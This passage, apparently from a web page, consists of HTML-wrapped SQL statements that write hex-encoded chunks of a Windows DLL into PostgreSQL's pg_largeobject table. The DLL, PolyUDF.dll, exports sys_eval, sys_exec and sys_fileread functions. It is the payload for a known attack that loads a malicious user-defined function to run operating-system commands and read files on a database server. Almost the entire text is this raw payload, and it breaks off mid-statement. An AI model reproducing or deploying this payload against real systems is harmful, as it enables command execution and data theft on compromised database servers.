682fa1bd84f6f23f4bd1fea14eebf23f97804bc025e0f23fa0502d010ad5f23fa02c814dfbc9f23f11375a8ef9bef23f402b01ad04b4f23f05c1f3921ca9f23f9e12e429419ef23fa504b85b7293f23f13b08812b088f23f4dcea138fa7df23f352781b85073f23f2701d67cb368f23ff1928070225ef23fb277917e9d53f23f922449922449f23f5b601797b73ef23fdfbc9a785634f23f2a12a022012af23f78fb2181b71ff23fe65548807915f23fd9c0670c470bf23f122001122001f23f701fc17d04f7f13f4cb87f3cf4ecf13f74b83f3befe2f13fbd4a2e67f5d8f13f1d81a2ad06cff13f59e01cfc22c5f13f29ed46404abbf13fe3baf2677cb1f13f967b1a61b9a7f13f9e11e019019ef13f9ca28c805394f13fdb2b9083b08af13f121881111881f13f84d61b198a77f13f79734289066ef13f0132fc508d64f13f0d27755f1e5bf13fc9d5fda3b951f13f3bcd0a0e5f48f13f2447348d0e3ff13f11c83511c835f13facc0ed898b2cf13f33305de75823f13f2648a719301af13f111111111111f13f801001befb07f13f11f0fe10f0fef03fa225b3faedf5f03f909ce66bf5ecf03f1160825506e4f03f96468fa820dbf03f3a9e355644d2f03f3bdabc4f71c9f03f71418b86a7c0f03fc89d25ece6b7f03fb5ec2e722faff03fa710680a81a6f03f6083afa6db9df03f540901393f95f03fe26575b3ab8cf03f841042082184f03fe2eab8299f7bf03fc6f7470a2673f03ffb12799cb56af03ffca9f1d24d62f03f867572a0ee59f03f0434d7f79751f03fc56416cc4949f03f100441100441f03ffc4782b7c638f03f1a5e1fb59130f03fe92977fc6428f03f080402814020f03f377a51362418f03f101010101010f03f800001020408f03f000000000000f03f00000000000000006c6f6731300000000000000000000000ffffffffffff3f43ffffffffffff3fc3000000006d0d3b6100000000020000006a00000000a9010000970100000000006d0d3b61000000000c000000140000006ca901006c970100000000006d0d3b61000000000d0000008c02000080a90100809701000000000000000000000000003801000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008d0018001000000000000000000000000000000000000008832018001000000983201800100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009032018001000000a032018001000000a83201800100000030e001800100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000052534453c8c9db27475e4a419a9c524b4cf3e92901000000433a5c55736572735c66736f63696574795c446f776e6c6f6164735c506f6c795544462d6d61737465725c506f6c795544462d6d61737465725c7836345c52656c656173655c506f6c795544462e70646200000000000000df000000df00000000000000de0000000000000000100000b01401002e74657874246d6e00000000b0240100400000002e74657874246d6e24303000f0240100500400002e7465787424780000300100880200002e696461746124350000000088320100280000002e30306366670000b0320100080000002e4352542458434100000000b8320100080000002e435254&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">51</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;2458435a00000000c0320100080000002e4352542458494100000000c8320100200000002e4352542458494300000000e8320100080000002e4352542458495a00000000f0320100080000002e4352542458504100000000f8320100100000002e435254245850580000000008330100080000002e435254245850584100000010330100080000002e4352542458505a0000000018330100080000002e435254245854410000000020330100100000002e4352542458545a0000000030330100d07500002e7264617461000000a90100100300002e7264617461247a7a7a64626700000010ac0100080000002e727463244941410000000018ac0100080000002e72746324495a5a0000000020ac0100080000002e727463245441410000000028ac0100080000002e72746324545a5a0000000030ac0100101100002e7864617461000040bd0100e40000002e6564617461000024be0100280000002e69646174612432000000004cbe0100140000002e696461746124330000000060be0100880200002e6964617461243400000000e8c00100e00500002e696461746124360000000000d00100400a00002e6461746100000040da0100f81100002e6273730000000000f001007c1100002e7064617461000000100200f40000005f5244415441000000200200600000002e727372632430310000000060200200280200002e7273726324303200000000000000000000000000000000000000000000000000000000000000000000000000000000010f06000f6407000f3406000f320b7001150800157408001564070015340600153211e001180a0018640a001854090018340800183214f012e01070191c06000d340f000d7209f0077006503c14000038000000210d04000de40e0005640d00801200000d1300006cac010021000000801200000d1300006cac010001020100023000000104010004420000000000000100000011150800157409001564070015340600153211e048290000020000007c150000eb150000f0240100000000004e16000059160000f0240100000000000106020006320250110a04000a3408000a520670482900000400000093160000b2160000072501000000000088160000ca1600002025010000000000d3160000de1600000725010000000000d3160000df1600002025010000000000091a06001a340f001a7216e014701360482900000100000015170000fb17000034250100fb170000010602000652025001080100084200000109010009620000010a04000a340d000a7206700108040008720470036002300106020006320230010d04000d3409000d32065009040100042200004829000001000000371e0000c11e00006a250100c11e000001020100025000000114080014640800145407001434060014321070011505001534ba001501b80006500000010a04000a3406000a320670010f06000f6406000f3405000f120b700100000000000000010000000000000002020400031600060260017001000000011c0c001c6410001c540f001c340e001c7218f016e014d012c01070090d01000d8200004829000001000000352c0000442c000082250100442c000001070300074203500230000002010300021600060170000001000000010000000100000001000000011c0c001c640c001c540b001c340a001c3218f016e014d012c01070010401000442000001040100044200000104010004420000010401000442000001000000192006001274100012340f0012b20b503c14000058000000110f04000f3407000f320b704829000001000000643800006e38000018260100000000001116080016340d00165212f010e00ec00c700b604829000001000000e2380000373900003026010000000000110f06000f640a000f3409000f520b7048290000010000006e3a0000843a0000482601000000000011190a0019e40b0019740a001964090019340800195215f04829000001000000b33d0000cc3d00007326010000000000010401000462000001190a0019340e00195215f013e011d00fc00d700c600b501114060014640800143407001432107048290000010000002c3e00003c3e0000182601000000000019370d0025641302255412022534100225010a0218f016e014d012c0107000003c1400004010000001190a0019340d00193215f013e011d00fc00d700c600b50110f04000f3408000f320b704829000001000000274000004d4000001826010000000000110f06000f6408000f3407000f320b704829000001000000044c0000804c0000a6260100000000001108040008520470036002304829000001000000fe4500004f4600008b2601000000000001230d0023742400236423002334220023011c0018f016e014d012c010500000011c0c001c640f001c540e001c340c001c5218f016e014d012c010700116040016340c0016920f5009060200063202304829000001000000314f0000804f0000d9260100cb4f0000110f04000f3406000f320b704829000001000000f54e0000fe4e0000bf260100000000000113080013340c0013520cf00ae0087007600650011d0c001d740b001d640a001d5409001d3408001d3219f017e015c0010f04000f3406000f320b7001180a0018640c0018540b0018340a00185214f012e01070010f06000f640b000f340a000f720b70010b01000b620000110f04000f3406000f320b704829000001000000755800007f580000bf2601000000000009040100044200004829000001000000d25b0000da5b000001000000da5b000001000000010a02000a320630192e09001d64c4001d34c300&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">52</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;1d01be000ee00c700b5000003c140000e00500000114080014640a0014540900143408001452107011190a0019e40b0019740a001964090019340800195215f04829000002000000a162000029630000f4260100000000005063000065630000f4260100000000000117020017721050011c0c001c640d001c540c001c340b001c3218f016e014d012c01070011f0c001f640f001f540e001f340d001f521bf019e017d015c01370110f04000f3406000f320b704829000001000000316400003c640000bf26010000000000011f0b001f7427001f6426001f3424001f01200014f012e0105000001922090014e20df00be009d007c0057004600330025000003c1400006000000019150200069202303c1400004800000001120600127411001234100012d20b5001190a0019740b0019640a001954090019340800195215e00108010008620000110f04000f3406000f320b7048290000010000009d710000dd7100000d2701000000000001190a0019740900196408001954070019340600193215e0110602000632023048290000010000002c750000577500002727010000000000010c02000c720550110f04000f3406000f320b704829000001000000d27600003b7700004027010000000000111206001234100012b20ee00c700b60482900000100000070770000187800005b2701000000000011060200063202304829000001000000ba7b0000d17b00007827010000000000011c0b001c7417001c6416001c5415001c3414001c01120015e000000114080014640f0014540d0014340c0014921070111c0a001cc40b001c740a001c3409001c3218f016e014d048290000010000008e850000c5850000912701000000000001190a001934160019b215f013e011d00fc00d700c600b5001150900156211f00fe00dd00bc0097008600750063000000111090011620df00be009d007c005700460035002300000111b0a001b640c001b340b001b3217f015e013d011c00f704829000001000000498c00007b8c0000a827010000000000010f06000f6408000f3407000f320b7001230d002374280023642700233426002301200018f016e014d012c01050000011170a00176414001734130017b213f011e00fd00dc00b704829000002000000de94000019950000bf270100000000006295000095950000db27010000000000110602000672023048290000010000001297000028970000f72701000000000001090200099202500109020009720250110f04000f3406000f320b7048290000010000003d9800004d980000bf26010000000000110f04000f3406000f320b704829000001000000bd980000d3980000bf26010000000000110f04000f3406000f320b7048290000010000000599000035990000bf26010000000000110f04000f3406000f320b7048290000010000007d9800008b980000bf2601000000000001190a0019740d0019640c0019540b0019340a00197215e0011c0a001c3414001cb215f013e011d00fc00d700c600b50011c0c001c640e001c540d001c340c001c5218f016e014d012c0107019300b001f3471001f01660010f00ee00cd00ac008700760065000003c14000020030000192b07001a7456001a3455001a0152000b5000003c140000800200000114080014640c0014540b0014340a001472107019230a0014341200147210f00ee00cd00ac00870076006503c140000380000000106020006720230110f06000f6408000f3407000f320b704829000001000000f1af000040b0000011280100000000000119060019340c001972127011601050192b07001a64f4001a34f3001a01f0000b5000003c14000070070000110f04000f3406000f320b7048290000010000005da90000e8aa0000bf2601000000000001060300063402000670000001180a0018341000185214f012e010d00ec00c700b600a500115080015740a001564090015340800155211e001050200057401000114080014640e0014540d0014340c00149210701106020006320230482900000100000012c2000028c200002a280100000000000107010007420000111108001134110011720de00bd009c0077006604829000002000000f1c30000afc40000402801000000000021c5000039c500004028010000000000110f04000f3406000f320b70482900000100000052c2000068c20000bf26010000000000111406001464090014340800145210704829000001000000a3c70000dbc700006128010000000000011408001464100014540f0014340e0014b21070011c0c001c640f001c540e001c340d001c5218f016e014d012c0107019250a001734180017d210f00ee00cd00ac00870076006503c1400006800000011190a0019740c0019640b0019340a00195215f013e011c04829000001000000b7d00000a7d100007827010000000000011406001464070014340600143210701115080015740a001564090015340800155211f048290000010000002bcf000072cf00007827010000000000110a04000a3408000a52067048290000010000001ed300009cd300002727010000000000110f04000f3406000f320b704829000001000000d5d3000030d400000d27010000000000111b0a001b640c001b340b001b3217f015e013d011c00f704829000001000000d0dd000001de0000a82701000000000001170a001734170017b210f00ee00cd00ac0087007600650192a0b001c3428001c01200010f00ee00cd00ac008700760065000003c140000f0000000192d09001b5490021b348e021b018a020ee00c700b6000003c1400004014000019310b001f5496021f349402&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">53</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;1f018e0212f010e00ec00c700b6000003c14000060140000011f0b001fe417001f7416001f6415001f3414001f0112001450000001270d0027741f0027641d0027341c00270116001cf01ae018d016c014500000110a04000a340c000a920670482900000100000017e300003ee300007b2801000000000001060200067202500112080012540c0012340a0012520ee00c700b60010f06000f5408000f3407000f320b7001180a0018640d0018540c0018340b00185214f012e01070010f06000fe403000a74020005340100110a04000a3406000a32067048290000010000009df30000aff30000ce28010000000000191f05000d018a0006e004d002c000003c1400001004000021280a0028f485002074860018648700105488000834890040f400009bf40000f0ba01002100000040f400009bf40000f0ba0100010b05000b6403000b3402000b7000001913010004a200003c14000040000000010a04000a340a000a720670192d0d351f7414001b6413001734120013330eb20af008e006d004c0025000003c14000050000000010f06000f6411000f3410000fd20b70192d0d551f7414001b6413001734120013530eb20af008e006d004c0025000003c14000058000000011f0b001f741a001f6419001f3418001f01140014f012e010500000010602000652023001170a0017540c0017340b00173213f011e00fd00dc00b70010e02000e320a3001180600185407001834060018321460010f06000f640f000f340e000fb20b7019270b551953140111000df00be009d007c0057004600330025000003c140000780000000109010009420000191f080010340f0010720cf00ae00870076006503c1400003000000000000000010a03000a68020004a2000001080200089204301926090018680e0014011e0009e0077006600530045000003c140000d00000000106020006120230010b03000b68050007c2000001040100040200000104010004820000011b08001b7409001b6408001b3407001b321450090f06000f6409000f3408000f320b7048290000010000007a20010081200100e728010081200100090a04000a3406000a32067048290000010000004d2101008021010020290100802101000104010004120000010000000000000000000000ffffffff00000000aebd010001000000070000000700000068bd010084bd0100a0bd01000010000090100000a0100000b0100000c0100000f011000080120000babd0100c8bd0100dabd0100ecbd010002be01000bbe010014be01000000010002000300040005000600506f6c795544462e646c6c0050675f6d616769635f66756e630070675f66696e666f5f7379735f6576616c0070675f66696e666f5f7379735f657865630070675f66696e666f5f7379735f66696c6572656164007379735f6576616c007379735f65786563007379735f66696c657265616400000000d0c00100000000000000000004c101007032010060be01000000000000000000bac601000030010000000000000000000000000000000000000000003ec4010000000000aac601000000000012c101000000000026c101000000000040c101000000000054c101000000000070c10100000000008ec1010000000000a2c1010000000000b6c1010000000000d2c1010000000000ecc101000000000002c201000000000018c201000000000032c201000000000048c20100000000005cc20100000000006ec201000000000082c201000000000090c2010000000000a8c2010000000000b8c2010000000000c8c2010000000000e0c2010000000000f8c201000000000010c301000000000038c301000000000044c301000000000052c301000000000060c30100000000006ac301000000000078c30100000000008ac30100000000009cc3010000000000aec3010000000000bac3010000000000c8c3010000000000dac3010000000000ecc3010000000000fac301000000000010c401000000000026c401000000000032c40100000000004cc401000000000062c401000000000078c401000000000090c4010000000000a0c4010000000000aec4010000000000c0c4010000000000d0c4010000000000e4c4010000000000f2c4010000000000fec401000000000012c501000000000022c501000000000034c50100000000003ec50100000000004ac501000000000056c501000000000068c50100000000007ac501000000000090c5010000000000a6c5010000000000c0c5010000000000dac5010000000000f4c501000000000006c601000000000016c601000000000028c601000000000038c60100000000004cc601000000000058c60100000000006ec60100000000007cc601000000000088c60100000000009ac60100000000000000000000000000f0c0010000000000e8c0010000000000000000000000000059137066726565009c1370675f6465746f6173745f646174756d0000706f7374677265732e6578650000d50452746c43617074757265436f6e7465787400dc0452746c4c6f6f6b757046756e6374696f6e456e7472790000e30452746c5669727475616c556e77696e640000c005556e68616e646c6564457863657074696f6e46696c74657200007f05536574556e68616e646c6564457863657074696f6e46696c74657200200247657443757272656e7450726f63657373009e055465726d696e61746550726f6365737300008c03497350726f636573736f724665617475726550726573656e740052045175657279506572666f726d616e6365436f756e74657200210247657443757272656e7450726f6365737349&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">54</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;6400250247657443757272656e7454687265616449640000f30247657453797374656d54696d65417346696c6554696d65006f03496e697469616c697a65534c697374486561640085034973446562756767657250726573656e7400da0247657453746172747570496e666f570081024765744d6f64756c6548616e646c65570000e20452746c556e77696e644578007303496e7465726c6f636b6564466c757368534c697374006a024765744c6173744572726f72000041055365744c6173744572726f7200003801456e746572437269746963616c53656374696f6e0000c4034c65617665437269746963616c53656374696f6e0000140144656c657465437269746963616c53656374696f6e006b03496e697469616c697a65437269746963616c53656374696f6e416e645370696e436f756e7400b005546c73416c6c6f630000b205546c7347657456616c756500b305546c7353657456616c756500b105546c734672656500b401467265654c69627261727900b80247657450726f63416464726573730000ca034c6f61644c696272617279457857000068045261697365457863657074696f6e000079045265616446696c6500008900436c6f736548616e646c650032014475706c696361746548616e646c6500e80043726561746550726f6365737357000067014578697450726f636573730080024765744d6f64756c6548616e646c6545785700007d024765744d6f64756c6546696c654e616d65570000550348656170467265650000510348656170416c6c6f63005803486561705265416c6c6f6300ea0557616974466f7253696e676c654f626a65637400460247657445786974436f646550726f6365737300004c0247657446696c65417474726962757465734578570000dc0247657453746448616e646c650000580247657446696c6554797065000502476574436f6e736f6c654d6f64650000760452656164436f6e736f6c65570000330553657446696c65506f696e74657245780000e0004372656174655069706500007e0146696e64436c6f736500840146696e64466972737446696c654578570000950146696e644e65787446696c6557009203497356616c6964436f64655061676500bb014765744143500000a1024765744f454d43500000ca014765744350496e666f00df01476574436f6d6d616e644c696e654100e001476574436f6d6d616e644c696e655700f6034d756c746942797465546f57696465436861720011065769646543686172546f4d756c746942797465004102476574456e7669726f6e6d656e74537472696e6773570000b30146726565456e7669726f6e6d656e74537472696e677357002405536574456e7669726f6e6d656e745661726961626c6557009e00436f6d70617265537472696e67570000b8034c434d6170537472696e67570000be0247657450726f636573734865617000005b0553657453746448616e646c650000a801466c75736846696c654275666665727300002506577269746546696c65000902476574436f6e736f6c654f757470757443500000ce0043726561746546696c6557005a034865617053697a650000e102476574537472696e67547970655700002005536574456e644f6646696c65000024065772697465436f6e736f6c6557004b45524e454c33322e646c6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000cd5d20d266d4ffff32a2df2d992b0000ffffffff0000000001000000020000002f2000000000000000f8000000000000ffffffff000000000000000000000000020000000000000000000000000000000c000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000220000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000080000a0a0a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">55</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010101010101010101010101010101010101010101010101010101010101010202020202020202020202020202020203030303030303030000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101010101010101010101010101010101010101010101010101000000000000020202020202020202020202020202020202020202020202020200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006162636465666768696a6b6c6d6e6f707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f505152535455565758595a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101010101010101010101010101010101010101010101010101000000000000020202020202020202020202020202020202020202020202020200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006162636465666768696a6b6c6d6e6f707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f505152535455565758595a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001020408000000000000000000000000a4030000608279822100000000000000a6df000000000000a1a5000000000000819fe0fc00000000407e80fc00000000a8030000c1a3daa320000000000000000000000000000000000000000000000081fe00000000000040fe000000000000b5030000c1a3daa320000000000000000000000000000000000000000000000081fe00000000000041fe000000000000b6030000cfa2e4a21a00e5a2e8a25b000000000000000000000000000000000081fe000000000000407ea1fe000000005105000051da5eda20005fda6ada32000000000000000000000000000000000081d3d8dee0f90000317e81fe0000000030540180010000000100000000000000010000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000078d901800100000000000000000000000000000000000000000000000000000078d901800100000000000000000000000000000000000000000000000000000078d901800100000000000000000000000000000000000000000000000000000078d901800100000000000000000000000000000000000000000000000000000078d90180010000000000000000000000000000000000000000000000000000000000000000000000000000000000000080d901800100000000000000000000000000000000000000b0560180010000003058018001000000b04c01800100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010d8018001000000d0d201800100000043000000feffffff18da01800100000004ec01800100000004ec01800100000004ec01800100000004ec01800100000004ec01800100000004ec01800100000004ec01800100000004ec01800100000004ec0180010000007f7f7f7f7f7f7f7f1cda01800100000008ec01800100000008ec01800100000008ec01800100000008ec018001000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">56</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;08ec01800100000008ec01800100000008ec0180010000002e0000002e000000feffffffffffffff00000000000000000100000075980000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000008f10000030ac0100c0100000e211000054ac0100f01100007512000040ac0100801200000d1300006cac01000d1300001514000084ac010015140000301400009cac01003c14000059140000b4ac01005c140000b7140000acac0100d0140000f1140000c0ac0100f414000044150000b4ac0100441500005a160000c4ac01005c160000e016000008ad0100e0160000111800005cad0100141800005118000030ac01005418000088180000b4ad0100881800005a19000094ad01005c1900006f190000b4ac0100701900000c1a00008cad01000c1a0000791a00009cad01007c1a0000ed1a0000a8ad0100f01a00009c1b0000bcad0100d01b0000eb1b0000b4ac0100ec1b0000251c0000b4ac0100281c00005c1c0000b4ac01005c1c0000711c0000b4ac0100741c00009c1c0000b4ac01009c1c0000b11c0000b4ac0100b41c0000141d0000f0ad0100141d0000441d0000b4ac0100441d0000581d0000b4ac0100581d0000a11d0000b4ad0100a41d00002f1e0000b4ad0100301e0000c81e0000c8ad0100c81e0000ec1e0000b4ad0100ec1e0000151f0000b4ad0100281f00007320000004ae010074200000b020000014ae0100b0200000ec20000014ae0100f02000009122000020ae0100b0220000c022000040ae0100d0220000452900004cae010048290000532b000050ae0100542b00007e2b0000b4ad0100802b0000a82b0000b4ac0100a82b0000bc2b0000b4ac0100bc2b0000ce2b0000b4ac0100d02b0000e92b0000b4ac0100ec2b0000fc2b0000b4ac0100fc2b0000692c00006cae0100802c0000902c000098ae0100a02c0000302e0000a4ae0100402e0000582e0000a8ae0100602e0000612e0000acae0100702e0000712e0000b0ae0100ac2e0000cb2e0000b4ac0100cc2e0000192f0000b4ad01001c2f0000352f0000b4ac0100382f0000f72f000030ac0100f82f00003f300000b4ac01004030000062300000b4ac01006430000096300000b4ac010098300000cf300000b4ad0100d03000001c320000b4ae01001c32000061320000b4ad010064320000aa320000b4ad0100ac320000f2320000b4ad0100f43200004533000014ae010048330000a933000030ac0100c033000000340000d0ae0100103400003a340000d8ae01004034000066340000e0ae010070340000b7340000e8ae0100d034000032360000f0ae01005836000093370000f4ae0100943700001738000014ae0100183800007a3800000caf01007c3800004739000030af010048390000e2390000b4ac0100ec390000a53a00005caf0100b43a0000123d0000bcaf0100143d0000313d0000b4af0100343d0000d93d000084af0100dc3d0000483e0000d4af0100483e00002a3f000014ae01002c3f0000e33f000030ac0100ec3f0000594000003cb001005c4000008b41000030ac01008c410000d542000024b00100d842000051440000fcaf0100e84400006146000088b001006446000077490000acb0010078490000344b0000ccb00100344b0000bb4b0000b4ad0100bc4b0000914c000060b001009c4c0000004d0000f0ad0100004d00003d4d000014ae0100544d0000d64e0000f0ad0100d84e0000104f000014b10100104f0000d14f0000f4b00100e04f00009c500000e8b001009c500000e6500000b4ad0100e850000043510000b4ad0100705100002f5300004cb10100305300008d530000b4ad0100905300001655000038b10100185500008455000014ae0100845500008a56000074b101008c560000cd56000068b10100d0560000a15700008cb10100a4570000be570000b4ac0100c0570000da570000b4ac0100dc57000017580000b4ac01001858000050580000b4ac01005858000093580000a4b1010094580000aa59000054ac0100ac590000e65900009cb10100245a0000475a0000b4ac01004c5a00005c5a0000b4ac01005c5a0000995a0000b4ad0100a45a0000e45a0000b4ad0100e45a00003f5b0000b4ac0100545b0000685b0000b4ac0100685b0000785b0000b4ac0100785b0000ad5b0000b4ac0100b05b0000c05b0000b4ac0100c05b0000e05b0000c8b10100e05b00003f5c0000b4ad0100405c0000965c0000b4ac0100&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">57</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;985c0000335d000030ac0100505d0000cd5d0000e8b10100045e0000415e0000ecb10100445e0000a25e0000b4ad0100a45e00001e5f000014ae0100205f00007b600000f4b10100846000003261000014b201003461000052610000b4af0100546100009b610000b4ac0100e46100003262000014ae01003462000054620000b4ac01005462000074620000b4ac0100746200006663000028b2010068630000f163000030ac0100f463000013640000b4af01001464000051640000a8b20100546400009e6600008cb20100a0660000fb680000ccb20100fc680000f56a000070b20100f86a00004d6b000068b20100586b0000686e0000e8b20100706e00001a6f000008b301001c6f00009270000028b30100947000007f71000018b3010080710000f171000048b30100f47100009572000040b30100987200005573000014ae0100587300007e730000b4ac0100807300009f7400006cb30100a0740000fb740000b4ad0100147500006a75000084b301008875000072760000f0ad010074760000b4760000b4ad0100b47600004e770000acb301005077000030780000d0b30100307800008d780000a4b30100907800000a79000030ac01000c79000057790000b4ad010060790000a3790000b4ac0100ac790000997a000018b401009c7a0000a87b00006cb30100a87b0000e37b0000f8b30100e47b0000247c000014ae0100247c0000e57e000030ac0100e87e0000847f000034b40100847f0000cc810000a8b40100cc810000ea84000090b40100ec8400000586000048b40100088600005e8a000078b40100608a0000ca8b000040ac0100cc8b0000bb8c0000c0b40100bc8c0000558d000030ac0100688d0000dd8d0000b4ad0100e08d0000758e0000f0ad0100788e0000ee8e0000b4ad0100f08e0000a68f0000f0b40100a88f000069900000b4ad01006c9000000b93000000b501000c93000054930000b4ad010070930000a7930000b4ad0100c49300006896000020b50100689600005197000060b50100649700001f9800008cb10100209800005f98000090b50100609800009d980000fcb50100a0980000e5980000b4b50100e898000047990000d8b5010048990000159a000080b50100189a0000389a0000ecb10100389a00002d9b000088b50100309b0000979b000014ae0100989b0000d99b0000b4ad0100dc9b0000b09c000030ac0100b09c0000579d0000b4ad0100589d0000249e000030ac0100249e00005d9e0000b4ac0100609e0000829e0000b4ac0100849e0000c09e0000b4ad0100d49e00005ea0000020b6010060a0000069a2000038b601006ca20000f3a3000050b60100f4a3000002a700006cb601000ca700001da80000acb6010020a800003ea9000090b6010040a90000faaa00003cb70100fcaa000079ab0000e0b601007cab00000cac0000f0ad01000cac0000edad000020b70100f0ad0000aeaf000010b70100b0af000068b00000e8b6010068b00000c8b00000b4ac0100c8b00000e4b00000b4ac0100e4b000009db30000c0b60100a0b3000015b400008cb101002cb4000051b40000b4ac0100b0b400005db5000060b7010060b5000061b6000020b6010064b6000084b900006cb7010084b9000069ba000084b7010074ba00004abc0000b4ae01004cbc00009abc0000b4ad01009cbc0000d6bc0000b4ac0100d8bc0000b4bd0000a0b70100b4bd0000fcbd0000b4ad0100fcbd000042be0000b4ad010044be00008abe0000b4ad01008cbe0000ddbe000014ae0100e0be000041bf000030ac010044bf000020c00000a0b7010020c0000070c0000014ae010070c00000a1c0000098b70100a4c00000e5c00000b4ad0100e8c0000004c10000b4ac010010c1000090c1000030ac010090c10000ccc1000014ae0100d4c1000003c20000b4ad010004c2000038c20000b4b7010038c200007dc2000018b8010080c20000aec20000d4b70100d0c200003ac50000dcb7010094c5000012c70000a0b701001cc700004dc70000b4ad010050c7000081c70000b4ad010084c70000f2c700003cb8010000c800002ec80000d4b7010030c800005fc80000b4ac01